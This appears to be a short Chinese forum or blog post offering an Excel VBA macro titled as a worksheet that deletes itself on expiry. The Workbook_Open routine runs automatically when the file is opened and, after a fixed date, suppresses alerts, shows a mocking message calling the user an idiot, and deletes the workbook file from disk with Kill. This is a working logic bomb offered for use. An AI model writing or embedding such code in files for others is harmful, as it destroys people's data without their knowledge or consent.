工作表到期自动删除VBA

nnsea

Private Sub Workbook_Open()

    If Date >= "2017-10-1" Then

        Application.DisplayAlerts = False

        MsgBox "你好，二货！你相信Excel会成精吗？" & vbCr & "表格我活够了，我要死了，再见~嘎嘎嘎嘎嘎~。"

        With ThisWorkbook

            .Saved = True

            .ChangeFileAccess xlReadOnly

            Kill .FullName

            .Close

        End With

    End If

End Sub